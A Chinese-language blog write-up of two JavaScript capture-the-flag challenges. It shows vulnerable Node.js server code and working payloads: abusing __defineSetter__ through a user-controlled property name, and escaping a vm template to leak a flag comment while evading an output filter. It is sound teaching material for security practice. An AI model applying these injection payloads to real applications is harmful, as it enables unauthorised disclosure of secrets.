banner
raye~

Raye's Journey

且趁闲身未老,尽放我、些子疏狂。
medium
tg_channel
twitter
github
email
nintendo switch
playstation
steam_profiles

兩道有趣的JS代碼審計題目

image

converter#

題目是一個網頁,如下:

DraggedImage

POST 兩個參數, Input 即輸入的數據, converter 代表選擇的轉換器

DraggedImage-1

分析源碼,可以看到有三個 converter ,即代表著三種不同的 encode 方式,其中 flagConverter 裡面有 flag

但是限制了 request.body.converter,不能出現 FLAG

  if (request.body.converter.match(/[FLAG]/)) {
    throw new Error("Don't be evil :)");
  }

  if (request.body.input.length < 20) {
    throw new Error('Too short :(');
  }

  if (request.body.input.length > 1000) {
    throw new Error('Too long :(');
  }

這裡研究了之後確實不存在突破辦法了🤣

分析#

注意到真正調用 converter 的代碼, 我們輸入的兩個參數 req.body.converterreq.body.input,其中 req.body.converter 是作為 converters 的屬性名,即我們可以控制 conveters的任意一個屬性(除了這個屬性名不能含有 FLAG 之外)

通過 await new Promise 代碼是在嘗試將回調式的異步操作轉換為 Promise 風格的操作,以便使用 await 來等待執行結果,可以忽略

並且我們發現, converters 是一個 const 類型,並且每次執行 encode 操作,都会對 converters 做一次賦值(理論上直接寫死就行了吧,沒必要每次請求都這麼幹)

  converters['base64'] = base64Converter;
  converters['scrypt'] = scryptConverter;
  converters[`FLAG_${request.session.sessionId}`] = flagConverter;

  const result = await new Promise((resolve, reject) => {
    converters[request.body.converter](request.body.input, (error, result) => {
      if (error) {
        reject(error);
      } else {
        resolve(result);
      }
    });
  });

而我們知道,在 JS 中,雖然一個對象的屬性看上去只有那麼點,但是由於 JS 特有的原型鏈繼承關係,就會導致 Object 對象的屬性也被繼承過來(因此可以逐一去對這些屬性做嘗試)

DraggedImage-2

其中這個 __defineSetter__  屬性很有意思,有點類似反射,可以給對象的一個屬性做一個代理,正常寫法其實是這樣的:

const obj = {
  a: 1
};

// 使用 __defineGetter__
obj.__defineSetter__('a', function(res) {
	console.log("get res: " + res);
});

如果我們定義了 setter ,那麼後續賦值的時候, 賦值等式的右邊值就會作為 setter 函數的第一個參數傳進來

DraggedImage-3

所以,當我們輸入 input= FLAG_***SESSION***  (input 並沒有不允許輸入 FLAG 字符串),converter = __defineSetter__  時,代碼變為:

converters["__defineSetter__"]("FLAG_***SESSION***", (error, result) => {
    if (error) {
        reject(error);
    } else {
        resolve(result);
    }
});

這樣當我們重寫完對象的 FLAG_***SESSION*** 對應的 setter 時,這個網頁先不動!

後續再新開一個網頁去訪問,此時觸發:

converters[`FLAG_${request.session.sessionId}`] = flagConverter;

可以看到 flagConverter 就會作為第一個參數傳入到函數

(error, result) => {
    if (error) {
        reject(error);
    } else {
        resolve(result);
    }
}

此時 result 的結果自然就是 error , 即 flagConverter.toString() 的結果

回到我們的第一個網頁,此時就能看到:

DraggedImage-4

Kantan Calc#

這道題目也很有意思,是我見過的 JS 代碼審計中比較新穎的,巧妙地用沙箱逃逸來誤導你,實際利用的是 JS 很常見的一個特性

CTF 中的經典計算器前端:
DraggedImage-5

看代碼:

app.get('/', function (req, res, next) {
  let output = '';
  const code = req.query.code + '';
  console.log(code.length); // 打印輸入的代碼長度
  if (code && code.length < 30) {
    try {
      const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
      output = result + '';
      if (output.includes('flag')) {
        output = 'Error: please do not exfiltrate the flag';
      }
    } catch (e) {
      output = 'Error: error occurred';
    }
  } else {
    output = 'Error: invalid code';
  }

  res.render('index', { title: 'Kantan Calc', output });
});

關鍵代碼就是在 vm.runInNewContext 那一行,即輸入的內容會被當做代碼執行,比如輸入 2*2

實際在 vm 中執行的代碼就是:

'use strict';
(
	function(){
		return 2*2; /* flag{fake_flag} */
	}
)()

實際就是一個立即執行函數,但是這裡要注意:

vm.runInNewContext('', Object.create(null))

Object.create(null) 實際上是創建了一個沒有任何原型鏈的對象,是一個絕對 “乾淨” 的對象

因此,最常用的一種沙箱逃逸是沒有辦法了(我就懶得寫了)

解法#

在 JavaScript 中,可以通過將函數體轉換為字符串來獲取函數體:

function a() {}
console.log(a+'')
// "function a() {}"

這樣就可以讓代碼內的 flag 註釋信息打印出來了,但是就算打印出來還是會被後面的 if 給攔截,這應該怎麼辦呢?

答案就是數組,利用函數 toString 弱類型轉換,返回 char 數組(繞開 if 檢測),同時保證 payload 長度小於 30

那麼我們先直接閉合前面的函數,然後開一個新的函數,即輸入:

},function p(){return[...p+1]

那麼此時:

'use strict';
(
	function(){
		return 
	},
	function p(){return[...p+1]; /* flag{fake_flag} */
	}
)()

那麼第二個函數 p 執行的時候,先執行加法,抓為字符串,然後解構為數組,就繞開了檢測

在看 wp 的時候還發現有另一種思路:

[...arguments[0]+0]})(a=>{

實際執行的代碼:

'use strict';
(
	function(){
		return [...arguments[0]+0]}
)
(a=>{
			; /* flag{fake_flag} */
	}
)()

等於先定義了一個函數

(
	function(){
		return [...arguments[0]+0]
	}
)

然後調用的時候傳遞了一個參數, (a => {;/*flag{fake_flag}*/}),那麼自然這個函數就會被當做參數 arguments 傳遞進去,同樣的道理(不過這種情況會報錯了,因為返回的是個數組無法繼續函數調用)

總結#

這兩道題目也都打包 Docker 鏡像了,有需要的可以自取:

docker run -d --restart=always -p 3000:3000 rayepeng/kantan_calc:latest
docker run -d --restart=always -p 3000:3000 rayepeng/convert:latest  

其實 JS 的很多特性都是可以用來出題的,但是卻很少像 PHP 那樣,有各種變種且好玩的代碼審計題,後續準備在這裡多思考下,嘗試自己也出幾道有趣的結合 JS 特性的審計題目

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。